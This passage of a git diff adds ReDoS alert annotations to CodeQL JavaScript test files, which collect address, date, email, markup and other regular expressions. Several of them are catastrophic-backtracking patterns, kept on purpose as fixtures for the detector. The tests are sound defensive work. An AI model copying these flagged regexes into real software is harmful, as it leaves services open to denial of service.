LOWR|OFC|PH|REAR|SIDE|UPPR))?)?\,?\s+((?:[A-Za-z]+\x20*)+)\,\s+(A[LKSZRAP]|C[AOT]|D[EC]|F[LM]|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEHINOPST]|N[CDEHJMVY]|O[HKR]|P[ARW]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])\s+(\d+(?:-\d+)?)\s*$/g;
+/^\s*((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)\,?\s+((?:(?:\d+(?:\x20+\w+\.?)+(?:(?:\x20+STREET|ST|DRIVE|DR|AVENUE|AVE|ROAD|RD|LOOP|COURT|CT|CIRCLE|LANE|LN|BOULEVARD|BLVD)\.?)?)|(?:(?:P\.\x20?O\.|P\x20?O)\x20*Box\x20+\d+)|(?:General\x20+Delivery)|(?:C[\\\/]O\x20+(?:\w+\x20*)+))\,?\x20*(?:(?:(?:APT|BLDG|DEPT|FL|HNGR|LOT|PIER|RM|S(?:LIP|PC|T(?:E|OP))|TRLR|UNIT|\x23)\.?\x20*(?:[a-zA-Z0-9\-]+))|(?:BSMT|FRNT|LBBY|LOWR|OFC|PH|REAR|SIDE|UPPR))?)?\,?\s+((?:[A-Za-z]+\x20*)+)\,\s+(A[LKSZRAP]|C[AOT]|D[EC]|F[LM]|G[AU]|HI|I[ADLN]|K[SY]|LA|M[ADEHINOPST]|N[CDEHJMVY]|O[HKR]|P[ARW]|RI|S[CD]|T[NX]|UT|V[AIT]|W[AIVY])\s+(\d+(?:-\d+)?)\s*$/g; // $ Alert[js/redos]
 /[0-9]{4}\s*[a-zA-Z]{2}/g;
 /^(\d{3}-\d{3}-\d{4})*$/g;
 /^\d{5}((\-|\s)?\d{4})?$/g;
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/dates.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/dates.js
index 39d1669109e4..14468a515657 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/dates.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/dates.js
@@ -24,7 +24,7 @@
 /((\d{2})|(\d))\/((\d{2})|(\d))\/((\d{4})|(\d{2}))/g;
 /^((0[1-9])|(1[0-2]))$/g;
 /^(\d{2}((0[1-9]|1[012])(0[1-9]|1\d|2[0-8])|(0[13456789]|1[012])(29|30)|(0[13578]|1[02])31)|([02468][048]|[13579][26])0229)$/g;
-/^(?:\s*(Sun|Mon|Tue|Wed|Thu|Fri|Sat),\s*)?(0?[1-9]|[1-2][0-9]|3[01])\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(19[0-9]{2}|[2-9][0-9]{3}|[0-9]{2})\s+(2[0-3]|[0-1][0-9]):([0-5][0-9])(?::(60|[0-5][0-9]))?\s+([-\+][0-9]{2}[0-5][0-9]|(?:UT|GMT|(?:E|C|M|P)(?:ST|DT)|[A-IK-Z]))(\s*\((\\\(|\\\)|(?<=[^\\])\((?<C>)|(?<=[^\\])\)(?<-C>)|[^\(\)]*)*(?(C)(?!))\))*\s*$/g;
+/^(?:\s*(Sun|Mon|Tue|Wed|Thu|Fri|Sat),\s*)?(0?[1-9]|[1-2][0-9]|3[01])\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(19[0-9]{2}|[2-9][0-9]{3}|[0-9]{2})\s+(2[0-3]|[0-1][0-9]):([0-5][0-9])(?::(60|[0-5][0-9]))?\s+([-\+][0-9]{2}[0-5][0-9]|(?:UT|GMT|(?:E|C|M|P)(?:ST|DT)|[A-IK-Z]))(\s*\((\\\(|\\\)|(?<=[^\\])\((?<C>)|(?<=[^\\])\)(?<-C>)|[^\(\)]*)*(?(C)(?!))\))*\s*$/g; // $ Alert[js/redos]
 /^((31(?! (FEB|APR|JUN|SEP|NOV)))|((30|29)(?! FEB))|(29(?= FEB (((1[6-9]|[2-9]\d)(0[48]|[2468][048]|[13579][26])|((16|[2468][048]|[3579][26])00)))))|(0?[1-9])|1\d|2[0-8])-(JAN|FEB|MAR|MAY|APR|JUL|JUN|AUG|OCT|SEP|NOV|DEC)-((1[6-9]|[2-9]\d)\d{2})$/g;
 /^[0-9]{4}-(((0[13578]|(10|12))-(0[1-9]|[1-2][0-9]|3[0-1]))|(02-(0[1-9]|[1-2][0-9]))|((0[469]|11)-(0[1-9]|[1-2][0-9]|30)))$/g;
 /^([0]?[1-9]|[1][0-2])[./-]([0]?[1-9]|[1|2][0-9]|[3][0|1])[./-]([0-9]{4}|[0-9]{2})$/g;
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/email.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/email.js
index a68c66d2fea8..f7ab34777169 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/email.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/email.js
@@ -1,16 +1,16 @@
-/^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$/g;
+/^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@([0-9a-zA-Z][-\w]*[0-9a-zA-Z]\.)+[a-zA-Z]{2,9})$/g; // $ Alert[js/redos]
 /(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})/g;
 /^((?>[a-zA-Z\d!#$%&'*+\-/=?^_`{|}~]+\x20*|"((?=[\x01-\x7f])[^"\\]|\\[\x01-\x7f])*"\x20*)*(?<angle><))?((?!\.)(?>\.?[a-zA-Z\d!#$%&'*+\-/=?^_`{|}~]+)+|"((?=[\x01-\x7f])[^"\\]|\\[\x01-\x7f])*")@(((?!-)[a-zA-Z\d\-]+(?<!-)\.)+[a-zA-Z]{2,}|\[(((?(?<!\[)\.)(25[0-5]|2[0-4]\d|[01]?\d?\d)){4}|[a-zA-Z\d\-]*[a-zA-Z\d]:((?=[\x01-\x7f])[^\\\[\]]|\\[\x01-\x7f])+)\])(?(angle)>)$/g;
 /^\w+@[a-zA-Z_]+?\.[a-zA-Z]{2,3}$/g;
-/^[A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})$/g;
-/^((?:(?:(?:[a-zA-Z0-9][\.\-\+_]?)*)[a-zA-Z0-9])+)\@((?:(?:(?:[a-zA-Z0-9][\.\-_]?){0,62})[a-zA-Z0-9])+)\.([a-zA-Z0-9]{2,6})$/g;
+/^[A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})$/g; // $ Alert[js/redos]
+/^((?:(?:(?:[a-zA-Z0-9][\.\-\+_]?)*)[a-zA-Z0-9])+)\@((?:(?:(?:[a-zA-Z0-9][\.\-_]?){0,62})[a-zA-Z0-9])+)\.([a-zA-Z0-9]{2,6})$/g; // $ Alert[js/redos]
 /^[_a-zA-Z0-9-]+(\.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))$/g;
 /(?<user>(?:(?:[^ \t\(\)\<\>@,;\:\\\"\.\[\]\r\n]+)|(?:\"(?:(?:[^\"\\\r\n])|(?:\\.))*\"))(?:\.(?:(?:[^ \t\(\)\<\>@,;\:\\\"\.\[\]\r\n]+)|(?:\"(?:(?:[^\"\\\r\n])|(?:\\.))*\")))*)@(?<domain>(?:(?:[^ \t\(\)\<\>@,;\:\\\"\.\[\]\r\n]+)|(?:\[(?:(?:[^\[\]\\\r\n])|(?:\\.))*\]))(?:\.(?:(?:[^ \t\(\)\<\>@,;\:\\\"\.\[\]\r\n]+)|(?:\[(?:(?:[^\[\]\\\r\n])|(?:\\.))*\])))*)/g;
 /^([0-9a-zA-Z]+[-._+&])*[0-9a-zA-Z]+@([-0-9a-zA-Z]+[.])+[a-zA-Z]{2,6}$/g;
 /^[\w-\.]+@([\w-]+\.)+[\w-]{2,4}$/g;
 /^(([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5}){1,25})+([;.](([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5}){1,25})+)*$/g;
 /\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*([,;]\s*\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*)*/g;
-/^[a-zA-Z]+(([\'\,\.\- ][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$/g;
+/^[a-zA-Z]+(([\'\,\.\- ][a-zA-Z ])?[a-zA-Z]*)*\s+<(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})>$|^(\w[-._\w]*\w@\w[-._\w]*\w\.\w{2,3})$/g; // $ Alert[js/redos]
 /^([a-zA-Z0-9_\-\.]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?)$/g;
 /^\w+[\w-\.]*\@\w+((-\w+)|(\w*))\.[a-z]{2,3}$/g;
 /^[\w-]+(?:\.[\w-]+)*@(?:[\w-]+\.)+[a-zA-Z]{2,7}$/g;
@@ -22,16 +22,16 @@
 /^\W{0,5}[Rr]e:\W[a-zA-Z0-9]{1,10},\W[a-z]{1,10}\W[a-z]{1,10}\W[a-z]{1,10}/g;
 /^([\w\d\-\.]+)@{1}(([\w\d\-]{1,67})|([\w\d\-]+\.[\w\d\-]{1,67}))\.(([a-zA-Z\d]{2,4})(\.[a-zA-Z\d]{2})?)$/g;
 /^([\w\-\.]+)@((\[([0-9]{1,3}\.){3}[0-9]{1,3}\])|(([\w\-]+\.)+)([a-zA-Z]{2,4}))$/g;
-/^((([a-zA-Z\'\.\-]+)?)((,\s*([a-zA-Z]+))?)|([A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})))(;{1}(((([a-zA-Z\'\.\-]+){1})((,\s*([a-zA-Z]+))?))|([A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})){1}))*$/g;
+/^((([a-zA-Z\'\.\-]+)?)((,\s*([a-zA-Z]+))?)|([A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})))(;{1}(((([a-zA-Z\'\.\-]+){1})((,\s*([a-zA-Z]+))?))|([A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})){1}))*$/g; // $ Alert[js/redos]
 /^[a-z0-9][a-z0-9_\.-]{0,}[a-z0-9]@[a-z0-9][a-z0-9_\.-]{0,}[a-z0-9][\.][a-z0-9]{2,4}$/g;
 /(?<email>(?![ ])(\w|[.])*@(\w|[.])*)/g;
 /\w+[\w-\.]*\@\w+((-\w+)|(\w*))\.[a-z]{2,3}$|^([0-9a-zA-Z'\.]{3,40})\*|([0-9a-zA-Z'\.]+)@([0-9a-zA-Z']+)\.([0-9a-zA-Z']+)$|([0-9a-zA-Z'\.]+)@([0-9a-zA-Z']+)\*+$|^$/g;
 /[\w-]+@([\w-]+\.)+[\w-]+/g;
 /^(?:[a-zA-Z0-9_'^&/+-])+(?:\.(?:[a-zA-Z0-9_'^&/+-])+)*@(?:(?:\[?(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))\.){3}(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\]?)|(?:[a-zA-Z0-9-]+\.)+(?:[a-zA-Z]){2,}\.?)$/g;
 /^((?<DRIVE>[a-z]:)|(\\\\(?<SERVER>[0-9]*[a-z\-][a-z0-9\-]*)\\(?<VOLUME>[^\.\x01-\x1F\\""\*\?<>:|\\/][^\x01-\x1F\\""\*\?|><:\\/]*)))?(?<FOLDERS>(?<FOLDER1>(\.|(\.\.)|([^\.\x01-\x1F\\""\*\?|><:\\/][^\x01-\x1F\\""\*\?<>:|\\/]*)))?(?<FOLDERm>[\\/](\.|(\.\.)|([^\.\x01-\x1F\\""\*\?|><:\\/][^\x01-\x1F\\""\*\?<>:|\\/]*)))*)?[\\/]?$/g;
-/^((?:(?:(?:\w[\.\-\+]?)*)\w)+)\@((?:(?:(?:\w[\.\-\+]?){0,62})\w)+)\.(\w{2,6})$/g;
-/^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$/g;
-/^[A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})$/g;
+/^((?:(?:(?:\w[\.\-\+]?)*)\w)+)\@((?:(?:(?:\w[\.\-\+]?){0,62})\w)+)\.(\w{2,6})$/g; // $ Alert[js/redos]
+/^([0-9a-zA-Z]([-.\w]*[0-9a-zA-Z])*@(([0-9a-zA-Z])+([-\w]*[0-9a-zA-Z])*\.)+[a-zA-Z]{2,9})$/g; // $ Alert[js/redos]
+/^[A-Za-z0-9](([_\.\-]?[a-zA-Z0-9]+)*)@([A-Za-z0-9]+)(([\.\-]?[a-zA-Z0-9]+)*)\.([A-Za-z]{2,})$/g; // $ Alert[js/redos]
 /^[\w-]+(\.[\w-]+)*@([a-z0-9-]+(\.[a-z0-9-]+)*?\.[a-z]{2,6}|(\d{1,3}\.){3}\d{1,3})(:\d{4})?$/g;
 /^[\w\.=-]+@[\w\.-]+\.[\w]{2,3}$/g;
 /^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$/g;
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/markup.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/markup.js
index 31edb6c76ddc..db5d45df0f74 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/markup.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/markup.js
@@ -1,27 +1,27 @@
 /<[^>]*\n?.*=("|')?(.*\.jpg)("|')?.*\n?[^<]*>/g;
 /<[^>]*>/g;
-/(<\/?)(?i:(?<element>a(bbr|cronym|ddress|pplet|rea)?|b(ase(font)?|do|ig|lockquote|ody|r|utton)?|c(aption|enter|ite|(o(de|l(group)?)))|d(d|el|fn|i(r|v)|l|t)|em|f(ieldset|o(nt|rm)|rame(set)?)|h([1-6]|ead|r|tml)|i(frame|mg|n(put|s)|sindex)?|kbd|l(abel|egend|i(nk)?)|m(ap|e(nu|ta))|no(frames|script)|o(bject|l|pt(group|ion))|p(aram|re)?|q|s(amp|cript|elect|mall|pan|t(r(ike|ong)|yle)|u(b|p))|t(able|body|d|extarea|foot|h|itle|r|t)|u(l)?|var))(\s(?<attr>.+?))*>/g;
+/(<\/?)(?i:(?<element>a(bbr|cronym|ddress|pplet|rea)?|b(ase(font)?|do|ig|lockquote|ody|r|utton)?|c(aption|enter|ite|(o(de|l(group)?)))|d(d|el|fn|i(r|v)|l|t)|em|f(ieldset|o(nt|rm)|rame(set)?)|h([1-6]|ead|r|tml)|i(frame|mg|n(put|s)|sindex)?|kbd|l(abel|egend|i(nk)?)|m(ap|e(nu|ta))|no(frames|script)|o(bject|l|pt(group|ion))|p(aram|re)?|q|s(amp|cript|elect|mall|pan|t(r(ike|ong)|yle)|u(b|p))|t(able|body|d|extarea|foot|h|itle|r|t)|u(l)?|var))(\s(?<attr>.+?))*>/g; // $ Alert[js/redos]
 /\xA9/g;
 /(?'DateLiteral' (?# Per the VB Spec : DateLiteral ::= '#' [ Whitespace+ ] DateOrTime [ Whitespace+ ] '#' ) \#\s* (?'DateOrTime' (?# DateOrTime ::= DateValue Whitespace+ TimeValue | DateValue | TimeValue ) (?'DateValue' (?# DateValue ::= Whitespace+ TimeValue | DateValue | TimeValue ) ( (?# DateValue ::= MonthValue \/ DayValue \/ YearValue | MonthValue - DayValue - YearValue ) (?'Month'(0?[1-9])|1[0-2]) (?# Month 01 - 12 ) (?'Sep'[-/]) (?# Date separator '-' or '\/' ) (?'Day'0?[1-9]|[12]\d|3[01]) (?# Day 01 - 31 ) \k'Sep' (?# whatever date separator was previously matched ) (?'Year'\d{1,4}) \s+ (?# TimeValue ::= HourValue : MinuteValue [ : SecondValue ] [ WhiteSpace+ ] [ AMPM ] ) (?'HourValue'(0?[1-9])|1[0-9]|2[0-4]) (?# Hour 01 - 24 ) [:] (?'MinuteValue'0?[1-9]|[1-5]\d|60) (?# Minute 01 - 60 ) [:] (?'SecondValue':0?[1-9]|[1-5]\d|60)? (?# Optional Minute :01 - :60 ) \s* (?'AMPM'[AP]M)? ) | ( (?# DateValue ::= MonthValue \/ DayValue \/ YearValue | MonthValue - DayValue - YearValue ) (?'Month'(0?[1-9])|1[0-2]) (?# Month 01 - 12 ) (?'Sep'[-/]) (?# Date separator '-' or '\/' ) (?'Day'0?[1-9]|[12]\d|3[01]) (?# Month 01 - 31 ) \k'Sep' (?# whatever date separator was previously matched ) (?'Year'\d{4}) ) | ( (?# TimeValue ::= HourValue : MinuteValue [ : SecondValue ] [ WhiteSpace+ ] [ AMPM ] ) (?'HourValue'(0?[1-9])|1[0-9]|2[0-4]) (?# Hour 01 - 24 ) [:] (?'MinuteValue'0?[1-9]|[1-5]\d|60) (?# Minute 01 - 60 ) [:] (?'SecondValue':0?[1-9]|[1-5]\d|60)? (?# Optional Minute :01 - :60 ) \s* (?'AMPM'[AP]M)? ) ) ) \s*\# )/g;
 /(SELECT\s[\w\*\)\(\,\s]+\sFROM\s[\w]+)| (UPDATE\s[\w]+\sSET\s[\w\,\'\=]+)| (INSERT\sINTO\s[\d\w]+[\s\w\d\)\(\,]*\sVALUES\s\([\d\w\'\,\)]+)| (DELETE\sFROM\s[\d\w\'\=]+)/g;
-/"([^"](?:\\.|[^\\"]*)*)"/g;
+/"([^"](?:\\.|[^\\"]*)*)"/g; // $ Alert[js/redos]
 /href=[\"\'](http:\/\/|\.\/|\/)?\w+(\.\w+)*(\/\w+(\.\w+)?)*(\/|\?\w*=\w*(&\w*=\w*)*)?[\"\']/g;
 /<!--[\s\S]*?--[ \t\n\r]*>/g;
 /href[ ]*=[ ]*('|\")([^\"'])*('|\")/g;
 /<!--.*?-->/g;
 /(?s)( class=\w+(?=([^<]*>)))|(<!--\[if.*?<!\[endif\]-->)|(<!\[if !\w+\]>)|(<!\[endif\]>)|(<o:p>[^<]*<\/o:p>)|(<span[^>]*>)|(<\/span>)|(font-family:[^>]*[;'])|(font-size:[^>]*[;'])(?-s)/g;
-/<(?:[^"']+?|.+?(?:"|').*?(?:"|')?.*?)*?>/g;
+/<(?:[^"']+?|.+?(?:"|').*?(?:"|')?.*?)*?>/g; // $ Alert[js/redos]
 /<(?<tag>.*).*>(?<text>.*)<\/\k<tag>>/g;
 /<(\/{0,1})img(.*?)(\/{0,1})\>/g;
 /src[^>]*[^/].(?:jpg|bmp|gif)(?:\"|\')/g;
-/<(\w+)(\s(\w*=".*?")?)*((\/>)|((\/*?)>.*?<\/\1>))/g;
+/<(\w+)(\s(\w*=".*?")?)*((\/>)|((\/*?)>.*?<\/\1>))/g; // $ Alert[js/redos]
 /(?i:on(blur|c(hange|lick)|dblclick|focus|keypress|(key|mouse)(down|up)|(un)?load|mouse(move|o(ut|ver))|reset|s(elect|ubmit)))/g;
 /(<meta\s+)*((name\s*=\s*("|')(?<name>[^'("|')]*)("|')){1}|content\s*=\s*("|')(?<content>[^'("|')]*)("|')|scheme\s*=\s*("|')(?<scheme>[^'("|')]*)("|'))/g;
 /<\*?font # Match start of Font Tag (?(?=[^>]+color.*>) #IF\/THEN lookahead color in tag (.*?color\s*?[=|:]\s*?) # IF found THEN move ahead ('+\#*?[\w\s]*'+ # CAPTURE ColorName\/Hex |"+\#*?[\w\s]*"+ # single or double |\#*\w*\b) # or no quotes	.*?> # & move to end of tag |.*?> # ELSE move to end of Tag ) # Close the If\/Then lookahead # Use Multiline and IgnoreCase # Replace the matches from RE with MatchEvaluator below: # if m.Groups(1).Value<>"" then # Return "<font color=" & m.Groups(1).Value & ">" # else # Return "<font>" # end if/g;
 /(?'openingTag'<) \s*? (?'tagName'\w+) # Once we've got the tagname, match zero # or more attribute sequences (\s*? # Atomic Grouping for efficiency (?> (?!=[\/\?]?>) # Lookahead so that we can fail quickly # match Attribute pieces (?'attribName'\w+) (?:\s* (?'attribSign'=) \s* ) (?'attribValue' (?:\'[^\']*\'|\"[^\"]*\"|[^ >]+) ) ) )* \s*? # Closing Tag can be either > or \/> (?'closeTag'[\/\?]?>)/g;
 /^#?(([fFcC0369])\2){3}$/g;
 /&(?![a-zA-Z]{2,6};|#[0-9]{3};)/g;
-/&lt;\/?([a-zA-Z][-A-Za-z\d\.]{0,71})(\s+(\S+)(\s*=\s*([-\w\.]{1,1024}|&quot;[^&quot;]{0,1024}&quot;|'[^']{0,1024}'))?)*\s*&gt;/g;
+/&lt;\/?([a-zA-Z][-A-Za-z\d\.]{0,71})(\s+(\S+)(\s*=\s*([-\w\.]{1,1024}|&quot;[^&quot;]{0,1024}&quot;|'[^']{0,1024}'))?)*\s*&gt;/g; // $ Alert[js/redos]
 /<[a-zA-Z][^>]*\son\w+=(\w+|'[^']*'|"[^"]*")[^>]*>/g;
 />(?:(?<t>[^<]*))/g;
 /<[^>]*name[\s]*=[\s]*"?[^\w_]*"?[^>]*>/g;
@@ -34,26 +34,26 @@
 /<([^\s>]*)(\s[^<]*)>/g;
 /^[a-zA-Z_]{1}[a-zA-Z0-9_]+$/g;
 /[0][x][0-9a-fA-F]+/g;
-/(\[(\w+)\s*(([\w]*)=('|")?([a-zA-Z0-9|:|\/|=|-|.|\?|&]*)(\5)?)*\])([a-zA-Z0-9|:|\/|=|-|.|\?|&|\s]+)(\[\/\2\])/g;
+/(\[(\w+)\s*(([\w]*)=('|")?([a-zA-Z0-9|:|\/|=|-|.|\?|&]*)(\5)?)*\])([a-zA-Z0-9|:|\/|=|-|.|\?|&|\s]+)(\[\/\2\])/g; // $ Alert[js/redos]
 /%[\-\+0\s\#]{0,1}(\d+){0,1}(\.\d+){0,1}[hlI]{0,1}[cCdiouxXeEfgGnpsS]{1}/g;
 /^(Function|Sub)(\s+[\w]+)\([^\(\)]*\)/g;
-/^(?<path>(\/?(?<step>\w+))+)(?<predicate>\[(?<comparison>\s*(?<lhs>@\w+)\s*(?<operator><=|>=|<>|=|<|>)\s*(?<rhs>('[^']*'|"[^"]*"))\s*(and|or)?)+\])*$/g;
+/^(?<path>(\/?(?<step>\w+))+)(?<predicate>\[(?<comparison>\s*(?<lhs>@\w+)\s*(?<operator><=|>=|<>|=|<|>)\s*(?<rhs>('[^']*'|"[^"]*"))\s*(and|or)?)+\])*$/g; // $ Alert[js/redos]
 /^(?<Code>([^"']|"[^"]*")*)'(?<Comment>.*)$/g;
 />(?:(?<t>[^<]*))/g;
 /<[a-zA-Z][^>]*\son\w+=(\w+|'[^']*'|"[^"]*")[^>]*>/g;
 /<[^>]*name[\s]*=[\s]*"?[^\w_]*"?[^>]*>/g;
 /\/\*[\d\D]*?\*\//g;
 /^#?([a-f]|[A-F]|[0-9]){3}(([a-f]|[A-F]|[0-9]){3})?$/g;
-/&lt;\/?([a-zA-Z][-A-Za-z\d\.]{0,71})(\s+(\S+)(\s*=\s*([-\w\.]{1,1024}|&quot;[^&quot;]{0,1024}&quot;|'[^']{0,1024}'))?)*\s*&gt;/g;
+/&lt;\/?([a-zA-Z][-A-Za-z\d\.]{0,71})(\s+(\S+)(\s*=\s*([-\w\.]{1,1024}|&quot;[^&quot;]{0,1024}&quot;|'[^']{0,1024}'))?)*\s*&gt;/g; // $ Alert[js/redos]
 /<!--[\s\S]*?-->/g;
 /("[^"]*")|('[^\r]*)(\r\n)?/g;
 /(?'openingTag'<) \s*? (?'tagName'\w+) # Once we've got the tagname, match zero # or more attribute sequences (\s*? # Atomic Grouping for efficiency (?> (?!=[\/\?]?>) # Lookahead so that we can fail quickly # match Attribute pieces (?'attribName'\w+) (?:\s* (?'attribSign'=) \s* ) (?'attribValue' (?:\'[^\']*\'|\"[^\"]*\"|[^ >]+) ) ) )* \s*? # Closing Tag can be either > or \/> (?'closeTag'[\/\?]?>)/g;
 /&(?![a-zA-Z]{2,6};|#[0-9]{3};)/g;
 /^#?(([fFcC0369])\2){3}$/g;
-/(\[(\w+)\s*(([\w]*)=('|")?([a-zA-Z0-9|:|\/|=|-|.|\?|&]*)(\5)?)*\])([a-zA-Z0-9|:|\/|=|-|.|\?|&|\s]+)(\[\/\2\])/g;
+/(\[(\w+)\s*(([\w]*)=('|")?([a-zA-Z0-9|:|\/|=|-|.|\?|&]*)(\5)?)*\])([a-zA-Z0-9|:|\/|=|-|.|\?|&|\s]+)(\[\/\2\])/g; // $ Alert[js/redos]
 /[0][x][0-9a-fA-F]+/g;
 /%[\-\+0\s\#]{0,1}(\d+){0,1}(\.\d+){0,1}[hlI]{0,1}[cCdiouxXeEfgGnpsS]{1}/g;
-/^(?<path>(\/?(?<step>\w+))+)(?<predicate>\[(?<comparison>\s*(?<lhs>@\w+)\s*(?<operator><=|>=|<>|=|<|>)\s*(?<rhs>('[^']*'|"[^"]*"))\s*(and|or)?)+\])*$/g;
+/^(?<path>(\/?(?<step>\w+))+)(?<predicate>\[(?<comparison>\s*(?<lhs>@\w+)\s*(?<operator><=|>=|<>|=|<|>)\s*(?<rhs>('[^']*'|"[^"]*"))\s*(and|or)?)+\])*$/g; // $ Alert[js/redos]
 /^(Function|Sub)(\s+[\w]+)\([^\(\)]*\)/g;
 /^[a-zA-Z_]{1}[a-zA-Z0-9_]+$/g;
 /^[^<>`~!/@\#}$%:;)(_^{&*=|'+]+$/g;
diff --git a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/misc.js b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/misc.js
index db1e10df7386..550fff9a1225 100644
--- a/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/misc.js
+++ b/javascript/ql/test/query-tests/Security/CWE-400/ReDoS/regexplib/misc.js
@@ -1,7 +1,7 @@
 /^\d{3}\s?\d{3}$/g;
 /^([a-zA-Z0-9@*#]{8,15})$/g;
 /^(?=.*\d).{4,8}$/g;
-/^[a-zA-Z]+(([\'\,\.\- ][a-zA-Z ])?[a-zA-Z]*)*$/g;
+/^[a-zA-Z]+(([\'\,\.\- ][a-zA-Z ])?[a-zA-Z]*)*$/g; // $ Alert[js/redos]
 /((\(\d{3}\) ?)|(\d{3}-))?\d{3}-\d{4}/g;
 /^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/g;
 /^(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?!.*\s).{4,8}$/g;
@@ -12,7 +12,7 @@
 /[:]{1}[-~+o]?[)>]+/g;
 /^\d{5}(-\d{4})?$/g;
 /^([a-z0-9]{32})$/g;
-/^(([a-zA-Z]:|\\)\\)?(((\.)|(\.\.)|([^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?))\\)*[^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?$/g;
+/^(([a-zA-Z]:|\\)\\)?(((\.)|(\.\.)|([^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?))\\)*[^\\/:\*\?"\|<>\. ](([^\\/:\*\?"\|<>\. ])|([^\\/:\*\?"\|<>]*[^\\/:\*\?"\|<>\. ]))?$/g; // $ Alert[js/redos]
 /\u00A3/g;
 /\u2122/g;
 /^[{|\(]?[0-9a-fA-F]{8}[-]?([0-9a-fA-F]{4}[-]?){3}[0-9a-fA-F]{12}[\)|}]?$/g;
@@ -21,7 +21,7 @@
 /^(([\w][\w\-\.]*)\.)?([\w][\w\-]+)(\.([\w][\w\.]*))?$/g;
 /^(eth[0-9]$)|(^eth[0-9]:[1-9]$)/g;
